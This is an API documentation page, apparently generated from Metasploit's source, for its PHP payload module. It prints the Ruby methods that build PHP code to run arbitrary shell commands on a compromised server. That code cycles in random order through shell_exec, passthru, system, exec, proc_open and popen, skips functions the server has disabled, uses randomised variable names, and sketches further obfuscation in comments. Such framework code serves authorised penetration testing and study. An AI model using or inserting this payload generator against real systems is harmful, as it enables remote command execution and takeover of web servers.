Module: Msf::Payload::Php

Included in:
Exploit::PhpEXE, BindTcp
Defined in:
lib/msf/core/payload/php.rb

Defined Under Namespace

Modules: BindTcp, ReverseTcp, SendUUID

Instance Method Summary collapse

Instance Method Details

#php_preamble(options = {}) ⇒ String

Generate a chunk of PHP code that should be eval'd before #php_system_block.

The generated code will initialize

Parameters:

  • options (Hash) (defaults to: {}) —

    a customizable set of options

Options Hash (options):

  • :disabled_varname (String) —

    PHP variable name in which to store an array of disabled functions.

Returns:

  • (String) —

    A chunk of PHP code



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# File 'lib/msf/core/payload/php.rb', line 19

def php_preamble(options = {})
  dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
  dis = '$' + dis if (dis[0,1] != '$')

  @dis = dis

  # Canonicalize the list of disabled functions to facilitate choosing a
  # system-like function later.
  preamble = "/*<?php /**/
    @error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);
    #{dis}=@ini_get('disable_functions');
    if(!empty(#{dis})){
      #{dis}=preg_replace('/[, ]+/',',',#{dis});
      #{dis}=explode(',',#{dis});
      #{dis}=array_map('trim',#{dis});
    }else{
      #{dis}=array();
    }
    "
  return preamble
end

#php_system_block(options = {}) ⇒ String

Generate a chunk of PHP code that tries to run a command.

Parameters:

  • options (Hash) (defaults to: {}) —

    a customizable set of options

Options Hash (options):

  • :cmd_varname (String) —

    PHP variable name containing the command to run

  • :disabled_varname (String) —

    PHP variable name containing an array of disabled functions. See #php_preamble

  • :output_varname (String) —

    PHP variable name in which to store the output of the command. Will contain 0 if no exec functions work.

Returns:

  • (String) —

    A chunk of PHP code that, with a little luck, will run a command.



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# File 'lib/msf/core/payload/php.rb', line 55

def php_system_block(options = {})
  cmd = options[:cmd_varname] || '$cmd'
  dis = options[:disabled_varname] || @dis || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
  output = options[:output_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)

  if (@dis.nil?)
    @dis = dis
  end

  cmd    = '$' + cmd if (cmd[0,1] != '$')
  dis    = '$' + dis if (dis[0,1] != '$')
  output = '$' + output if (output[0,1] != '$')

  is_callable = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
  in_array    = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)

  setup = "
    if (FALSE !== stristr(PHP_OS, 'win' )) {
      #{cmd}=#{cmd}.\" 2>&1\\n\";
    }
    #{is_callable}='is_callable';
    #{in_array}='in_array';
    "
  shell_exec = "
    if(#{is_callable}('shell_exec')&&!#{in_array}('shell_exec',#{dis})){
      #{output}=`#{cmd}`;
    }else"
  passthru = "
    if(#{is_callable}('passthru')&&!#{in_array}('passthru',#{dis})){
      ob_start();
      passthru(#{cmd});
      #{output}=ob_get_contents();
      ob_end_clean();
    }else"
  system = "
    if(#{is_callable}('system')&&!#{in_array}('system',#{dis})){
      ob_start();
      system(#{cmd});
      #{output}=ob_get_contents();
      ob_end_clean();
    }else"
  exec = "
    if(#{is_callable}('exec')&&!#{in_array}('exec',#{dis})){
      #{output}=array();
      exec(#{cmd},#{output});
      #{output}=join(chr(10),#{output}).chr(10);
    }else"
  proc_open = "
    if(#{is_callable}('proc_open')&&!#{in_array}('proc_open',#{dis})){
      $handle=proc_open(#{cmd},array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
      #{output}=NULL;
      while(!feof($pipes[1])){
        #{output}.=fread($pipes[1],1024);
      }
      @proc_close($handle);
    }else"
  popen = "
    if(#{is_callable}('popen')&&!#{in_array}('popen',#{dis})){
      $fp=popen(#{cmd},'r');
      #{output}=NULL;
      if(is_resource($fp)){
        while(!feof($fp)){
          #{output}.=fread($fp,1024);
        }
      }
      @pclose($fp);
    }else"
  # Currently unused until we can figure out how to get output with COM
  # objects (which are not subject to safe mode restrictions) instead of
  # PHP functions.
  #win32_com = "
  #	if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
  #		$wscript = new COM('Wscript.Shell');
  #		$wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
  #		#{output} = file_get_contents('%TEMP%\\out.txt');
  #	}else"
  fail_block = "
    {
      #{output}=0;
    }
  "

  exec_methods = [passthru, shell_exec, system, exec, proc_open, popen].sort_by { rand }
  buf = setup + exec_methods.join("") + fail_block
  #buf = Rex::Text.compress(buf)

  ###
  # All of this junk should go in an encoder
  #
  # Replace all single-quoted strings with quoteless equivalents, e.g.:
  #    echo('asdf');
  # becomes
  #    echo($a.$s.$d.$f);
  # and add "$a=chr(97);" et al to the top of the block
  #
  # Once this is complete, it is guaranteed that there are no spaces
  # inside strings.  This combined with the fact that there are no
  # function definitions, which require a space between the "function"
  # keyword and the name, means we can completely remove spaces.
  #
  #alpha_used = { 95 }
  #buf.gsub!(/'(.*?)'/) {
  #	str_array = []
  #	$1.each_byte { |c|
  #		if (('a'..'z').include?(c.chr))
  #			alpha_used[c] = 1
  #			str_array << "$#{c.chr}."
  #		else
  #			str_array << "chr(#{c})."
  #		end
  #	}
  #	str_array.last.chop!
  #	str_array.join("")
  #}
  #if (alpha_used.length > 1)
  #	alpha_used.each_key { |k| buf = "$#{k.chr}=chr(#{k});" + buf }
  #end
  #
  #buf.gsub!(/\s*/, '')
  #
  ###

  return buf

end